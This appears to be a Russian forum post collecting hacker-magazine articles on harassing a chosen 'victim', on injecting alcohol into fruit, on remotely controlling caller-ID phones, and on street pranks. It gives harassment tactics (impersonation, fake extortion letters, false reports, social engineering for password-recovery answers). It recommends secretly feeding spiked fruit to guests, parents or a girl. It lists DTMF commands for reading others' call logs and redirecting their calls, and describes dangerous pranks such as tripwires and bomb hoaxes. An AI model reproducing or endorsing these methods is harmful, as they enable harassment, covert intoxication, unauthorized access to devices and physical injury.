Радикален по отношению к предыдущим. Зачем атаковать? Можно сделать иначе. Инсценируй какие-нибудь действия твоей жертвы по отношению к кому-нибудь. К примеру, залезь на те же злосчастные конференции, посмотри, где там сидят горячие финские парни, и от имени жертвы облей самого горячего гуаном с ног до головы, не забыв старательно и по-матерински приписать обратный адрес жертвы :). Или же найди конференцию хакеров :) и кинь туда мессагу, что, мол, ребята, вы у меня карамельки стреляли, когда я появился в сети, и вам не то что слабо мое мыло завалить, вам даже мой реальный адрес вычислить слабо и надавать мне леденцов :). Тут самое главное не проколоться и не наследить, а то леденцов получишь сам :).
Способ 10
А ты не пробовал сменить пол? Пришивать ничего не надо, отрезать тоже :). Но зато можно не по-детски наколоть жертву. Начинать надо потихонечку, игриво :). Фоток наслать из того же Инета, стишков там всяких. Можно даже стрелки позабивать несостоявшиеся. Ну а когда переписка достигнет кульминации, спокойно шли волосатого крокодила :). Волосатого крокодила можно заменить и ушастым пеньком :).
Способ 11
Ударять можно и по самому нежному :). Узнай, что больше всего ценит или чаще всего использует твоя жертва в Инете. Если это аська - все свои усилия перекинь именно туда. Всем вышли, что номер уина такой-то шлет вирусы, и немедленно добавьте его в игнор - такие мессаги стали в последнее время довольно-таки популярными и очень быстро рассылаются. Если это чат, вроде IRC, - немедленно беги к местным иркопам и скажи, что твоя жертва страшный нарушитель порядков местной сетки, грязно ругается и флудит все что движется. Только перед этим узнай, под каким ником и хостом жертва посещает те места отдаленные.
Способ 12
Если тебе каким-то макаром удастся узнать мыло его подружки, то считай, что ты наступил своей жертве на все выпуклости тела одновременно. Тут самое время подумать, как и что творить. Надо придумать некий способ опустить жертву в глазах подружки :). Напиши ей пару ласковых о жертве, расскажи, как он мочится по утрам и как сильно потеет, пытаясь научиться есть вилкой. Что он носит носки с мышками и что жутко боится высоты выше двух с половиной метров :). Заодно побольше разузнай о подружке, иногда они бывают ничего :).
Способ 13
Писать умеешь? Не на стенку, а по бумаге. Ну так возьми что-нибудь с чернилами и наваяй чистосердечное признание о том, что твоя жертва осталась в обеденный перерыв в таком-то магазине и сожрала все макароны сырыми, ни копейки не заплатив за кетчуп к макаронам. Оставь все известные координаты жертвы и не смей писать свой обратный адрес. Потом все это дело отнеси в какие-нибудь доблестные органы :), брось в форточку и смойся.
Способ 14
Прикинься службой технической службой поддержки твоей жертвы и напиши письмо с какой-нибудь просьбой. Главной ошибкой тут будет просить пароль - техническая служба никогда не просит пароль! Да и зачем он тебе? :) Спроси что-нибудь из смежной области. Многие конторы любят спрашивать второй вопрос на случай потери пароля. И, чаще всего, это девичья фамилия матери. Ну так и попробуй ее узнать, тогда пароль потом твой :). Как? Думай сам. Но уж точно гораздо проще, чем сам пароль.
Способ 15
Возьми архиватор, заархивируй. Потом другой архиватор - повтори со сделанным архивом. И так далее. Потом кинь жертве, сказав, что там следующая статья в Х :). Ну, соответственно, жертва войдет в азарт, будет часами искать нужные архиваторы, сидеть и разархивировать, ломая пароли на архивы. В самом конце останется некий простенький zip, в котором в не менее простеньком txt твоя жертва прочтет простую фразу: «И фиг ли ты, страус, сюда смотришь?» :).
Способ 16
Тебе не удалось переслать жертве троянчик или вирус? Ну и что - жертва тоже не может быть уверена на сто процентов, что ты не переслал :). Дай понять, что заражение свершилось. Например, пришли гневное письмо, что тебе от жертвы пришло письмо с паролем от входа в винды, который тебе на фиг не нужен. Но что явно свидетельствует о заражении. Жертва будет суетиться, рыть свой реестр, ну а в панике может что и подхватит :).
Способ 17
Если жертва в локальной сети, то сделай двойной обрыв. Первый явный, второй незаметный. Первый жертва обнаружит достаточно быстро, далее будут испорченные нервы, вырванные волосы на собственной голове и куча перепробованных различных сетевых карт :).
Способ 18
Для психической атаки можно использовать и сообщения о выигранном бесплатном Инете. Такая новость для чела, у которого Инет вот-вот скончается, будет сногсшибательной. А вот разочарование будет депрессивное. Чтобы выглядело более-менее правдоподобно, пиши про провайдера своего мыльного ящика, ну а точный адрес и время работы офиса возьми на сайте :). Сам же обзовись работником доблестного прова.
Способ 19
Напиши жертве, что он попал на бабки и чтобы нес некую сумму в определенное место и в определенное время. Скорее всего он проигнорирует подобное письмо. Но после указанного срока напиши второе, в котором напиши, что так как жертва не явилась, сумма увеличивается вдвое, а место и время назначь новыми :). После второго и третьего подобных писем обычно появляются странные мысли и неуверенность в ложности писем :). В любом случае тебе не составит труда написать подобные письма, а вот жертва поломает голову в течение нескольких часов, что же было странного в последний месяц :).
Смешно? Сам знаю, что нет - это все серьезно, это и есть самая настоящая информационная война. А кто-то читает эту статью и уже строчит твоему прову на тебя анонимку? Или твоя недельная виртуальная красавица и есть твой «любимый» друг? Будь бдителен, не попадайся.
Алкогольные фрукты
Коктейлей не подаем!
Нет, речь не о фруктовых коктейлях и иже с ними - про такие вещи ты можешь прочитать в любой кулинарной книге, не говоря уж про бары и рестораны. Пить что-то алкогольное в сочетании с фруктами, конечно, прикольно - но как-то не по-нашему. Единственное, что я могу долго терпеть в своем граненом стакане с водкой - это дольку лимона. Всякие плавающие вишенки, кусочки абрикосов или персиков - ненавижу. Поэтому мы с тобой пойдем другим путем. То, что я хочу предложить тебе, не купишь в аптеке. На самом деле, только один из рецептов, изложенных ниже, я смог найти в сети или где-то еще. Все остальное - плод наших научных экспериментов, теоретических рассуждений и... в общем, результат творчества. Короче, выключи свет, пригнись и слухай сюды.
Молодость
Хотя нет, подожди минутку. Сходи к своим родителям и спроси их: знают ли они, что такое "крюшон"? Полюбуйся тем, как озаряются улыбкой их лица, как они вспоминают свою молодость... Да, этот напиток был незаслуженно забыт в последнее время. Итак, что же это такое? Первое попавшееся мне определение гласило: "Крюшон - приятный освежающий напиток, основу которого составляют фрукты или ягоды и легкое вино, как правило, белое". Основные правила приготовления крюшонов такие: рекомендуется избегать одновременного использования нескольких видов фруктов, чтобы их ароматы не заглушали друг друга. По этой же причине используются только легкие вина. Фрукты, ягоды, цитрусовые засыпают сахаром, заливают небольшим количеством вина и настаивают в прохладном месте. Замороженные фрукты вином не заливают. Необходимо отметить, что яблоки и сливы слабо подходят для крюшонов - они плохо сочетаются с виноградным вином. После того как выделится достаточно сока, фрукты заливают оставшимися компонентами (кроме шампанского и газировки) и подают на стол в большой посуде. Шампанское и газировку наливают в каждую чашку отдельно непосредственно перед употреблением. Ну, то есть круто, конечно, стильно - но все-таки готовить почти что обыкновенные фруктовые коктейли как-то не по-хацкерски. Что еще есть по этой теме?
Чудо-ягода арбуз
Опрос, поиск, опрос, поиск. И вот он - "арбузный крюшон"! "У арбуза вырезать верхнюю часть в виде кружка и выбрать ложкой мякоть с семечками. Налить в арбуз все компоненты (1 часть коньяка, 1 часть апельсинового ликера, 3 части ананасового сока и пять частей шампанского), закрыть его срезанной крышкой и поставит в холодильник. Через 1-2 часа арбуз можно подать на стол и разлить напиток в крюшонные чашки или в бокалы разливательной ложкой, подать соломинки". Вот это уже другое дело! Таким собственноручно приготовленным напитком не стыдно угостить друзей и подруг. И вкусно, и прикольно. Единственный серьезный минус - всякому понюхавшему такой арбуз все сразу становится понятно. И тебе не удастся незаметно подпоить девушку, - хотя я верю, что ты и не собирался этого делать. Просто встречал я любителей...
Немного теории
Но на этом мы решили не останавливаться. Ведь если можно налить вина в арбуз и получить приятный на вкус алкогольный напиток - то, значит, можно попробовать и другие фрукты и ягоды (ты знаешь, что арбуз - это большая ягода?). Доктор Добрянский тут же выдал нам теоретическое обоснование: как по законам искривленного пространства (а наше пространство искривлено практически всюду, утверждает Док) должны отреагировать фрукты на введение в них алкоголя. Так что через каких-то пятнадцать часов мы были вооружены фундаментальной теоретической базой по этому вопросу
Много практики
Но теория - это только теория! А без практики любая теория мертва. Поэтому в назначенный час на уже видавшей виды кухне собирается Спец-crew. На отмытом ради такого столе перед нами лежат: три арбуза, два яблока (антоновка и голден), два персика, два банана, два мандарина, один грейпфрут, черешня, малина и две веточки винограда без косточек (можешь представить себе глаза продавца на рынке, у которого я все это покупал?). Из спецхранилища извлечены также: коньяк, шампанское, апельсиновый ликер, ананасовый сок (все для арбузного крюшона по вышеприведенному рецепту), питьевой спирт (пять литров) и полусладкое красное вино. И вот начинается священнодействие...
Мякоть сюда, шампанское туда
Первый арбуз: точное следование букве рецепта. Отрезаем верх, выбираем ложкой всю мякоть с семечками. Благо, нас трое, и нас не мучит вопрос - куда ее девать. Кстати, мякоти в арбузе все равно остается немало. Заливаем коньяк, ананасовый сок, апельсиновый ликер и шампанское в указанных пропорциях. Аккуратно фиксируем срезанную крышечку и ставим все в холодильник. Следующий!
Второй рецепт нам подсказали знающие люди. Точно так же выбираем из арбуза мякоть с семечками и выливаем туда бутылку красного вина. Закрываем, ставим в холодильник. Следующий!
Третий арбуз постигла самая тяжелая судьба. Внутрь него с помощью шприца было вколото 20 миллилитров медицинского спирта. Просто и без выпендрежа - никаких тебе срезаний и вычерпываний. После чего он был выставлен на балкон, прямо на солнышко.
Мелочь, а приятно
Вот так мы расправились с арбузами. В ожидании завершения химических процессов в арбузных субстанциях (во как сказал!) начинаем издевательство над остальными фруктами и ягодами. Шприцем с тонкой иголочкой аккуратно вливаем от 5 до 15 миллиграмм в яблоки, персики, грейпфрут, бананы и мандарины (как ты понимаешь, объем вливаемой жидкости зависел от объема фрукта). Затем последовательно проделываем ту же процедуру с черешней и виноградинками, даже в ягоды малины Донор умудряется влить пару капель - прямо в сердцевинку. Шкодливая же рука Доктора добавляет к общей куче обследуемых помидор и огурец. Нельзя сказать, что все было просто - некоторые из подопытных плевались этим спиртом обратно. Но все-таки каждый фрукт получил свою порцию. Аккуратно разложив все хозяйство по всем столам на кухне, команда уходит гулять - во избежание соблазна опробовать все раньше времени. Одно яблоко мы все-таки взяли с собой - Донор убедил нас, что его следует трясти, чем и занимался всю дорогу. Когда же просто трясти ему надоело, он начал им размахивать, скакать и подпрыгивать. Прохожие оборачивались...
Part I
Побродив по центру Москвы, мы возвращаемся домой - чуть уставшие и нагулявшие аппетит. Беглый осмотр квартиры показал - все в порядке. Чудо-ягода арбуз не разлетелась по балкону, в холодильнике все тоже нормально. Начинаем дегустацию.
Арбузный крюшон удался. Однозначно. Получилось и вкусно, и довольно забавно. Как заправские дегустаторы, мы попробовали по десять капель, оценили вкус и убрали арбуз обратно - до следующих изысканий.
Арбуз с вином не очень впечатлил. Вкус, конечно, довольно интересный, но больше всего он напомнил нам смесь красного вина с арбузным соком (фу). Мякоть же, пропитанная вином, принесла нам еще несколько приятных минут. Насладились, убрали.
Выдержанный на солнце арбуз едва не раскололся у меня в руках при поднесении к нему ножа. Внутри же... Оказывается, и 20 миллилитров спирта способны сотворить маленькое чудо! Внутри находился самый настоящий ликер. Так сказать, self-made ликер "Арбузный". Соблазн додегустировать его до конца был очень велик, но пришлось удержаться - ведь нас ждал еще целый, так сказать, модельный ряд.
Part Ia
Итак, поехали. Первое, что должен сказать: ни в одном фрукте, ни в одной ягоде алкоголь не ощущался ни на запах, ни на вкус. Хотя было заметно, что по вкусу они слегка отличаются от обычных яблок и прочих. Ну, давай по порядку.
Спецкоманде понравился вкус яблока и банана. Очень понравились виноград, малина и черешня. Персик и грейпфрут не впечатлили - вкус их стал каким-то более кислым. По поводу же мандарина наши три голоса разделились точно пополам - непонятно как-то в целом. Вроде и вкусно, вроде и нет... Овощи же (помидор и огурец) совершенно не понравились - так, ни рыба ни мясо, ни водка ни пиво. Так что общее заключение комиссии такое - на вкус и цвет товарищей нет, но с огурцом - точно полное дерьмо получается. Пробуй сам, меняй количество алкоголя (если у тебя нет спирта - хотя он продается в обычных аптеках - подойдет и просто водка) и время выдержки - и ты наверняка сможешь оценить сам и подобрать подходящий рецепт. Сами же ощущения от поедания таких вот фруктов "с сюрпризом" довольно забавны - нельзя сказать, что чувствуешь себя пьяным - но за руль сесть я бы не рискнул. И тебе не советую! В теле все-таки приятная легкость образуется, стопроцентно.
Part II - пьяные подопытные кролики
Самой же интересной оказалась вторая часть дегустации - оставшиеся фрукты (яблоко, банан, мандарин и етс) были отнесены нами в гости. Эксперимент in vivo, так сказать. Ну, пришли ребята, принесли с собой чего-то - кушайте, люди дорогие, пробуйте и наслаждайтесь. А мы понаблюдаем... После того как все было съедено, начался осторожный расспрос - ну как? Как яблочко? Как самочувствие? Из троих только один сказал, что вкус показался ему каким-то странным. Не совсем обычным. Остальные же только пожимали плечами и говорили - мол, вкус как вкус, вроде нормально все. Так и не раскрывая секрета, мы сели рядышком и продолжили свои наблюдения.
Прощай! Твоя крыша.
Разговор постепенно становился все более оживленным. Лица людей немного раскраснелись... Более серьезных признаков алкогольного опьянения обнаружить не удавалось. Время шло... Уж не знаю, что послужило причиной (то ли наши яблочки, то ли пресловутая жара, то ли и то и другое вместе), но минут через тридцать после дегустации самому младшему в нашей компании реально "оторвало башню". Он начал бегать по двору кругами, лазать вверх и вниз по пожарным лестницам. Бесился, в общем, на полную катушку. Правда, недолго - минут пятнадцать. Понравилось ему! И тут мы обнародовали наш секрет. Остальные не выразили особого удивления: "От тебя, МэдДоктор, ничего другого мы и не ожидали". Ну ладно, оставим это на их совести.
Выводы и поводы
Общий вывод: а был бы повод! В качестве общих рассуждений можно пофантазировать о некоторых возможных вариантах применения усвоенных тобой сегодня знаний о вариантах смешивания фруктов и алкоголя. Про то, что в таких арбузах очень удобно проносить водку в клубы и на дискотеки, мы уже писали. Потом, ты можешь порадовать своих родичей тем, что перестанешь таскать в дом бутылки с водкой и пивом (хотя, я надеюсь, что ты и так делаешь это редко) и наляжешь на фрукты. Если же тебе хочется поговорить с ними же "по душам" (ну, нужно тебе апгрейд компа сделать), то ты и их можешь угостить яблочками или виноградом. Наконец, такое яблочко или банан ты можешь предложить знакомой девушке, которую уже давно пытаешься развести на раз в неделю. Так что видишь сам - способов применения туча. Уверен: ты найдешь и выберешь то, что нужно именно тебе. Единственное - я надеюсь, что у тебя хватит благоразумия на то, чтобы не переходить определенные границы в своих шутках. А то может получиться совсем не смешно. А у меня... А у меня теперь на каждой вечеринке гостей встречает большая тарелка с яблоками. Пока что все гости довольны, соответственно доволен и я. Чего и тебе желаю. Удачи!
АОН мой - враг мой! Зомбируем вражескую технику
Дарова, хацкер. Сразу вопрос в лоб - АОН у тебя есть? Ну, понятно, что встроен в момед или АСID какой-нибудь стоит. А о простых смертных ты подумал? Да, есть еще на свете люди, не испорченные сетью. И АОНы у них тоже есть. В телефон они встроены. Российская разработка, "Русь". "Ну а мне до них чего?" - спросишь ты меня. Ну, братец, есть одна оказия (с) Pushkin. Но давай по порядку.
Что там есть для нас
Как ты, наверное, знаешь, в АОНах этих - туева хуча настроек, не востребованных "рядовым пользователем". А среди них - дистанционное управление. Чуешь, к чему я клоню? Ну, прикинь, если бы в Винды встроили ВО? Вот и я говорю, что круто. Но не все так просто. Во-первых, по дефолту ДУ почти всегда отключено. Во-вторых, наши наклепали разные версии АОНов, и управление в них различается. Озадачил? Ладно, поговорим о том, как эти проблемы преодолевать. У первой - море вариантов решения. Но все они сводятся к тому, что надо набрать (заставить набрать ;)) следующую последовательность кнопок - ** 3 8 - и далее жмакать * - пока на АОНе не высветится "bEEPr.-OFF" или "b.-OFF". Ну а дальше дело техники: 1 - вкл., 0 - выкл. и # для возврата в основной режим. А версия АОНа всегда написана на его крышке. Усе. Считаем, что серверная часть ;) настроена.
Поговорим теперь о клиентской. Таковой является ЛЮБОЙ кнопочный телефон с возможностью тонового набора. Управление осуществляется следующим образом:
1. Позвонить на требуемый аппарат.
2. Переключиться в тональный режим.
3. Во время приблизительно середины длинного гудка нажать и держать 1,5-2 секунды 1 или 0 (потом объясню, что для чего).
4. Если АОН ответит громким и противным пиликаньем, то он готов к насилию над собой :).
Команды
При входе по 0:
1 - выбор режима работы
4 - установка даты/времени
5 - работа с будильниками ;)
9 - записная книжка
7/8/* - прослушивание входящих/исходящих/ за день звонков
При входе по 1:
4 - полная переадресация (набираешь телефон - 7 цифр и время - 2)
5/6 - переадресация только по времени/номеру
По поводу переадресаций - если она установлена, то всех, кто позвонит после тебя, гнусавый голос попросит перезвонить [тогда-то] [туда-то].
Практикум
Я думаю, что прослушивание звонков ты быстро освоишь :), а вот по будильникам и записной книжке дам бесплатную справку.
Пример из жизни №1: поможем товарищу встать в 5 утра ;)
1. Входим в режим работы с будильниками (см. выше)
2. 1 - выбрали номер будильника (любой) * - дальше
3. 0 5 0 0 - ввели время
4. 4 0 - выбрали режим (ежедневно и до упора :)) * - дальше
5. 1 6 - ввели номер мелодии (гимн СССР :))
6. # - выход и разрыв связи
Пример из жизни №2: меняем номер без BlueBox
В работе с записной книжкой многое зависит от модели. Поэтому договоримся - то, что в скобках, - для 23 модели, остальное - для 24-й и 25-й.
1. Входим в записную книжку (см. выше)
2. 6 - переход в служебную область (0 - задание номера ячейки)
3. 9 - повторить 17 раз для перехода в нужную ячейку (7 0 - переход в ячейку)
4. 5 ХХХХХХХ # - ввод номера (своего)
Здесь возможен глюк и отключение от линии. Если это произойдет, просто перезвони и заново войди в записную книжку и продолжай работу. То, что в квадратных скобках, надо набирать, если тебя отключило от линии.
5. [6 - для входа в служебную область] (0 - задание номера ячейки)
6. 9 - 9 раз [или 26 раз :), если отключало] для перехода в нужную ячейку (8 0 - переход в ячейку)
7. 5 YYYYYYY # - ввод номера (для подмены)
8. # - разрыв связи
Повторять это можно многократно, меняя номера телефонов и ячеек (т.е. в первом случае вместо 17-и жать девятку 18, 19 и т.д. раз, а во втором - менять последние цифры 70 и 80 на 71 и 81 соответственно).
В отрыв
Ну что, инструктаж пройден, вперед - на очередное западло. Идей уже много - проверить, кто и когда звонил твоей девчонке, не дать преподу выспаться перед экзаменом и т.д. и т.п. Удачи тебе, хацкер, а я пойду. Очень хочется телефон одного товарища проверить на готовность к 3000 году :).
Innocead
06.04.2003, 19:52
вот это тебя прорвало!!! :)))
Западлостроение и приколы в городе, общественных местах и транспорте
Первым делом усвой, что динамит детям не игрушка :), и не пытайся его взрывать в каком-нибудь автобусе маршрута 666, а то потом поймают, отлупят и в угол поставят, к тому же не будут давать вкусного и сладкого в течение недели :). Ну, и что скидывать кирпичи с высотного здания на голову прохожих негуманно, объяснять, думаю, тоже не стоит :). Даже безобидная доска треугольником в сечении и вбитыми гвоздями поперек нее, положенная на проезжей части острием кверху :), не так уж и безопасна, если, не дай Бог, ты будешь ржать громче других, и хозяин проколотых покрышек это заметит. Самое главное в заподлянках в городе - простота, наивность и незаурядность. К сожалению, падающие кирпичи почему-то встречаются чаще, чем все остальное :). А ведь сколько можно всего натворить, если немного поднапрячься и пошевелить тем, что осталось :).
Монетки и иже с ними
Топаешь ты, короче, летним солнечным днем по улицам любимого города, но чего-то зверски не хватает... Ну, пива и денег это само собой :), а еще не хватает тебе суточной нормы заподлянства, которую выписывают по рецептам совсем убитым и замороченным. Вот захотел ты адреналинчику и веселого настроения на весь день, а в кармане всего 5 рублей и больше ни шиша - ну и хрен ли ты гулять-то пошел с такими бабками? Другое дело, если ты прихватил с собой молоточек и в самом людном месте присобачил эти 5 рублей к асфальту :). Гвоздик желательно побольше (для тех, кто в танке - подлиннее) и с шляпкой цвета монетки. Если же твоя оригинальность не имеет границ, то привари монетку к шляпке, а не пробивай насквозь - эффект будет умопомрачительный. Пробитая монетка насквозь при более близком рассмотрении выдает шляпку гвоздя, приваренная же всех будет вводить в полный тупик. Главное - после всех приготовлений занять место в первом ряду и запастись терпением :). Зрелище окупит все ожидания. Чего только стоит бабка, кинувшая все свои авоськи с бутылками и уже чуть ли не ползающая на четвереньках в раскорячку, пытающаяся подобрать заветные 5 рублей :). А с молодежью дело обстоит еще веселее. Они в отличие от бабок не кидаются на легкую добычу :), а заходят издалека: сначала ногой пнут, потом шнурки завяжут, время сверят :), ну а потом попытаются стырнуть железяку - а тут облом :). Дальнейшие действия непредсказуемы: кто-то в полной растерянности топает дальше, кто-то осматривается по сторонам, думая, какая падла столько весит, что наступив, так прилопатила денежку к асфальту. Но это полфигни, один раз на моих глазах один робкий мальчик небольшого росточка через минут 10 приволок какую-то монтировку и, расковыряв асфальт, свистнул мой трофей - я аж поперхнулся пивом :). Благо, таких мало, так что обычно шоу длится, длится и длится :). Подобное прокатывает, если в любом месте, где цены далеко не круглые, приклеить суперклеем мелкую денежку на прилавок киоска или в магазине. Далее происходит следующее: некая мадам набирает тонну покупок, и ей говорят цену за все это дело, она набирает сумму, но не хватает мелочи. Продавец, ясен перец, интересуется, есть ли столько-то копеек, мадам засекает монетку и говорит, что есть, пытаясь ее дать, но процесс затягивается :). Мадам, пыхтя, продолжает ковырять прилавок в надежде отодрать трофей, продавец ржет, видя очередную жертву, ну а толпа начинает скалить зубы :). Ну и самое оригинальное - это приклеить денежку куда-нибудь на стенку :). Тут люди вроде бы и понимают, что что-то не так и кто-то прикололся, но жадность берет верх над разумом :). Но клеить мелочь куда попало вовсе не обязательно, можно просто взять кошелек, старенький такой с запором, кинуть несколько монеток в маленькое отделение, а остальное пространство набить любой липкой и вонючей фигней, типа яйца, дерьма или тухлых помидоров :). Ну, короче, кидаешь куда-нибудь, как бы случайно потеряв, чел идет, видит кошелек, берет его, трясет и слышит, что что-то звенит, он, типа, открывает и руку туда... :).
Любимые шутки Бормана
И вот топаешь ты дальше, что бы сотворить? Элементарно, главное надыбать что-то длинное и крепкое, чтобы натянуть поперек тропы пешеходов :). Ламерские замашки с леской тут не катят: во-первых, на фоне темного асфальта она не так уж и незаметна, а, во-вторых, пешеходы могут не просто упасть, а порезать ноги, что будет уже не столь смешно. А вот если натянуть две веревочки серого цвета над асфальтом на высоте 10 сантиметров и расстоянии 1 метр... падают просто все :). Даже бывшие разведчики, аккуратно переступив первую, конкретно наворачиваются на второй :).
Или: встань где-нибудь в оживленном месте, задери голову вверх и ори что-нибудь вроде: “Левее! Правее!” и тому подобное. Когда зевак соберется достаточное количество, крикни “Бросай!” и резко отпрыгни в сторону. За тобой попрыгают в сторону все зеваки :).
Для следующего прикола хорошо бы найти где-нибудь розетку. Врубаешь в нее электродрель и для виду пускаешь ее, поджидая зеваку и жертву в одном лице :). Поулыбается тебе миловидная девушка какая-нибудь, посмотрит на твое занятное жжжж-жжжж-жжжж и развернется, чтобы утопать. А ты подойди сзади, пусти еще раз дрель и ткни ей в спину пальцем: эффект - супер, сначала прыжок метров так на несколько, а потом долгий отходняк, там и телефончик спросить успеешь :).
Лето!..
Что бы еще натворить? Приятель, лето ведь, значит хочется пить, соответственно хочется и... :). Ну так смени таблички Ж на М, а М на Ж и наслаждайся :), беготня озабоченных проблемой из одной двери в другую и обратно - веселая штука :). Еще прикольнее повесить две одинаковые таблички Ж или М. Те, кого обделишь, будут долго гадать, куда же податься :). Но это еще полбеды. Не пробовал ли ты повесить табличку “Бесплатный туалет” на здание банка или еще какого-нибудь серьезного заведения? Посетителей у них сразу прибавится :). Тут главное - вешать, поставив кого-то на шухер, а то потом по уши будешь в одном месте :). Ну а повесить табличку “Sex Shop” на какую-нибудь библиотеку - и вовсе милое дело :).
Ладно, топаем дальше. Тебя не задолбали столбы, обклеенные кучей объяв? Меня лично - да, ведь есть для них специальные доски, нефига лепить где попало. Вооружись ручкой, и вперед. Внимательно прочитай объявы и приступай к коррекции: если что-то покупают, цены срочно увеличь :), время звонков сдвинь в ночь, к продаже квартиры припиши еще детскую коляску, машину, катер, ну и что там еще сам придумаешь :), продавать - так по-крупному. Там, где хотят купить - наоборот, все цены занизь, нефига шиковать :). В объявы о знакомствах впиши интим-услуги. Кстати, прикольно подменить телефон в объяве о кастрации котов на телефон длинноногой блондинки с того же столба или из газеты “ИрВр” :).
Я люблю кататьсЯ
Так, хватит топать, покатайся немного на городском транспорте :). Для начала пора бы заметить в новых автобусах кнопку Alarm, это типа кнопка быстрой остановки и незамедлительной эвакуации - не пропусти и обязательно, как бы случайно, ткни :). Еще есть у меня на памяти один прикольчик, который хорошо делать, когда ты не один, а с друзьями. Весело вползаете в транспорт и достаточно громко кто-то один спрашивает, чья очередь сейчас лазить по карманам :), ну и кто-то другой тоже достаточно громко отвечает - я :), далее наблюдается нескрываемый интерес остальных пассажиров и их скромная паника, а также оглядывание и схватывание-в-охапку сумок, авосек и кармашков :). Еще часто тяготит толпища народу и трудность попадания внутрь того, что на колесах - в принципе, тоже не проблема, главное - просто не ржать во время того как говоришь: “Осторожно, беременная женщина” или “Осторожно, краска” - обычно пропускают :). Ну, класть жвачку на сиденье все-таки немного по-детски, особенно если сядешь на подобную сам :): оттираться будешь долго. А вот купить искусственную какашку в магазинчике ужасов и мило положить на соседнее сиденье - способ действенный, никто к тебе больше не подсядет :). Особенно всех шокирует твое спокойное поведение, когда подъезжаешь к своей остановке, спокойно берешь какашку в руки и кладешь в карман, громко приговаривая: «Ну вот, Василиса, мы и дома» :)). А вот еще фишка: берешь шприц, всасываешь белок из яйца, далее делаешь иголкой инъекцию под драпировку сидения в троллейбусе. Дня через два вонь будет такая, что сдохнуть можно :).
Далее. Забегаешь в троллейбус и судорожно что-то ищешь всю остановку, нервно заглядывая куда только можно (под юбки не обязательно). :) А на следующей остановке вылетаешь, сказав громко перед выходом: “Млин, ну где же я потерял эту чертову бомбу” :).
Ну вот, ты доехал до своей остановки, купил пивка, топаешь дальше. Кругом - женщины. Хорошего эффекта можно добиться, если, идя сзади шикарной дамы полных лет, сказать вслух: “кааааакааааая пооопа” :), а в ответ на фразу “Что, дурень, нравится?” - ответить - “Угу, у нашего сантехника такая же” :). Есть еще прикол (особенно подходит для твердых духом пикаперов). Идешь по улице, видишь красивую девушку, подбегаешь к ней и обнимаешь, целуешь, потом присматриваешься, отскакиваешь и говоришь, что, мол, принял за свою любовницу, ой, тьфу, за жену, то есть, ну не важно - все равно обознался, и уходишь с гордым лицом :). Тут самое главное - не получить по роже до того, как все это выпалишь :).
Дельфины!
Далее топаем в метро, тут тоже есть где развернуться. Один из приколов, но уже устарелый, заключается в том, что можно договориться с другом и проделать следующее. Ты заходишь в вагон, поезд трогается, ты задумчиво едешь, потом достаешь мобилу, набираешь некий номер и заказываешь себе достаточно громко, чтобы слышали окружающие, пивко, орешки, чипсы, девчонку, наконец, и апосля этого разговора с невозмутимым видом едешь дальше, а на следующей станции друг на подносе приносит тебе пивко с орешками и чипсами плюс подругу распутного вида :).
Еще один прикол - с большой мягкой игрушкой, к примеру, слоником :), но тут нужен брат-близнец. Если его нет, то ничего не выйдет. Короче: заходишь в вагон, кладешь слоника рядом с собой, проезжаешь хотя бы одну станцию и на следующей вылетаешь перед закрытием дверей, преднамеренно забыв слоника внутри, после этого бьешься в стекло, слезно воя о забытой игрушке. Далее поезд трогается, и особо трогательные особы обсуждают, как хреново все вышло, обдумывают разные планы действий, чтобы как-то вернуть тебе игрушку. Тем временем на следующей станции поджидает брат-близнец. Подходит поезд, там еще не закончились дебаты о том, какой красивый слон и какой большой казус. Брат влетает, запыхавшись, хватает слона в охапку и говорит, мол, слава Богу, успел. Все радостно и с облегчением вздыхают, довольны и все такое. Но спустя секунд 30 до всех доходит, что ты вышел еще на предыдущей станции :), тут уже надо видеть рожи сидящих пассажиров :))).
Еще есть действенный прикол для станций, которые проходят над Москва-рекой. Тут главное, чтобы народу было побольше, а то если будешь творить один - примут за психически нездорового индивидуума :). Короче, как только поезд выезжает на мост, нужно припасть всем сразу к окну поезда, как будто что-то необычное увидели, и заорать на весь вагон: «Дельфины!» Все остальные пассажиры при этом автоматом тоже оборачиваются, встают и смотрят, где же там дельфины. Но этими, с позволения сказать, рыбами тут дело не ограничивается, можно орать все что угодно, начиная от “Дохлая макака!” и заканчивая “Голые бабы!” :). Кстати, еще спорно, что более эффективно кричать: “Дельфины!” или “Голые бабы!” :). Да и кто вообще сказал, что кричать можно только на мостах? Встали в тоннеле - можно крикнуть: “Ой, смотрите, какой голубенький кротик!” :).
При желании можно приколоться просто заклеив скотчем двери в вагоне на конечной станции. Правда, весь вагон все равно заклеить не удается - как-то из него еще и выйти надо. Очень хорошо прикалываться в метро рано утром, пока еще никто толком не проснулся. Заходишь в вагон и с каменным лицом, показывая какую-то корочку, спрашиваешь билетики за проезд :). Даю голову на отсечение, часть пассажиров полезет машинально за проездными :). Ну а самое мое любимое - это завернуть кирпич в газетку, подождать, когда вот-вот закроются двери, и сунуть все это дело кому-нибудь стоящему у дверей в руки со словами: “Лысый не пришел! Взрывать будешь ты!” :). Эффект будет потрясающий, особенно если это старичок сталинской закалки - тут главное вовремя отбежать, чтобы этим же кирпичом тебя не прибили :).
Мой дом - мой полигон
Покатался на метро и хватит, топай к себе в район. Повеселимся и тут. Вот, например, прикол - напиши объяву внизу в подъезде, что скоро, часа через три, отключат воду и надо по-быстрому запастись водичкой во все, что без дырок. Где-то часика через три смени объяву на другую с текстом о том, что те, кто набрал воду, могут ставить посуду на плиту и варить в ней лапшу :). Точно так же можно написать объявы, что лифт в доме находится в аварийном состоянии, и после этого ездить на нем спокойно в гордом одиночестве (к тому же, в глазах соседей ты будешь экстремалом и каскадером, катаясь на “сломанном” лифте).
Еще фишка с лифтом. Берешь, к примеру, гвоздик сантиметра 3-4 в длину, втыкаешь его в пазик дверей лифта и идешь за пивом :). А лифт стоит на месте и хлопает дверьми, а закрыться не может (очень тяжело с ходу понять, из-за чего он не может закрыться).
Далее - особо экстремальная корка для крепких духом. Умопомрачительный прикол можно сделать, если взять ненужные и старые штаны, кофту, шапку и обувку. Набиваешь чучело, к примеру, травой, пару булыжников для тяжести запихиваешь и, вопя как Тарзан - “Ааааааааааааа!”, скидываешь все это дело с крыши в кусты рядом со скоплением народа. Толпа на улице приходит в такой ужас от увиденного, что трудно даже передать :). Что упало в кустах, особо не видно, а подойти сразу никто не решится :).
З.Ы.
Думаю, для начала харош :). Единственное, что хочу добавить - не стоит замыкаться на прочитанном, придумывай свои собственные заподлянки и приколы, заодно присылай их на andrusha@sl.ru, буду рад почитать и посмеяться от души :).
